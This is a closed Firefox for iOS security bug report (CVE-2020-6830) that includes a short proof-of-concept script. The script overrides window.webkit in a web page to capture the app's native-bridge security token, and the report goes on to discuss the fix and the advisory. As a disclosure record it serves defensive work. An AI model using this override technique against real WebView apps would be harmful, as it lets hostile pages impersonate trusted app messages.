Closed Bug 1632387 (CVE-2020-6830) Opened 2 years ago Closed 2 years ago

Firefox iOS Security Token Hijack By Overriding window.webkit

Categories

(Firefox for iOS :: General, task, P1)

task

Tracking

()

RESOLVED FIXED
Tracking Status
fxios 25 ---

People

(Reporter: vinothsparrow, Assigned: garvan)

Details

(Keywords: csectype-priv-escalation, sec-moderate, Whiteboard: [reporter-external] [client-bounty-form] [verif?])

Attachments

(2 files, 2 obsolete files)

Attached file firefox-reader.html

Firefox Version: v24.1
OS: iOS 13.3.1

Issue: Firefox iOS Security Token Hijack By Overriding window.webkit

Description:

Firefox iOS uses window.webkit.messageHandlers to communicate between WKWebView and ViewController and this communication is now protected by SECUIRTY_TOKEN(UUID).
But in WKWebView A web page can override |window.webkit| with any value(overriding). The below code would get the SECURITY_TOKEN to attacker controlled page when user visit's attacker's site.

<script type="text/javascript">
    function getToken(msg) {
        alert(msg.securityToken);
        originalWebkit.messageHandlers.readerModeMessageHandler.postMessage(msg);
    }
    originalWebkit = webkit;
    webkit = {};
    webkit.messageHandlers = {};
    webkit.messageHandlers.readerModeMessageHandler = {};
    webkit.messageHandlers.readerModeMessageHandler.postMessage = getToken;
</script>

POC:

Root Cause:
A web page can override |window.webkit| with any value.

Fix:
Deleting the object ensures that original and working implementation of window.webkit is restored.

var oldWebkit = window.webkit;
delete window['webkit'];
window.webkit.messageHandlers[handlerName].postMessage(message);
window.webkit = oldWebkit;
Flags: sec-bounty?
Component: Security → General
Flags: needinfo?(gkeeley)
Product: Firefox → Firefox for iOS
Flags: needinfo?(gkeeley)
Assignee: nobody → gkeeley
Status: UNCONFIRMED → NEW
Ever confirmed: true
Priority: -- → P1

Rating would depend on what kinds of messages we're sending ourselves that, due to this, any web page can impersonate. "critical" might be overstating it. If it's just informational type messages it might only be sec-moderate or sec-low, but if it's browser actions that affect other origins or the user's data it could be that bad.

The messages should not be exploitable, the intention of this was an extra layer of security.

Most likely just removing the SECURITY_TOKEN entirely, it has likely never worked, there was no specific bug for it being added, and was just a hopeful effort at adding an extra layer of security where WKWebView is lacking.
wip removal patch: https://github.com/garvankeeley/firefox-ios/commit/88d0ca32385096f31caef22fd45ce3767deaa05d

Group: firefox-core-security → mobile-core-security

Removed use of sec token with postMessage(), which was a recent addition as an extra layer of security for js-to-native, instead it actually leaks the token. The other direction, native-to-js is unchanged.

https://github.com/mozilla-mobile/firefox-ios/pull/6467

Status: NEW → RESOLVED
Closed: 2 years ago
Resolution: --- → FIXED

This will be in v25 which is being released this week, we should ensure it makes it into the sec advisory notes.

Lowering severity per comment 2

Keywords: sec-criticalsec-low

Use CVE-2020-6830 for this bug.

Alias: CVE-2020-6830
Attached file advisory.txt (obsolete) —
Attachment #9144747 - Attachment is obsolete: true
Attached file advisory.txt (obsolete) —
Comment on attachment 9144751 [details]
advisory.txt

>Native-to-JS bridging security token exploit
>Vinoth Kumar
>
>For native-to-JS bridging the app requires a unique token to be passed that ensures non-app code can't call the bridging functions. That token was being used for JS-to-native also, but it isn't needed in this case, and its usage in this case was also leaking this token.
Attachment #9144751 - Attachment is obsolete: true
Group: mobile-core-security → core-security-release
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.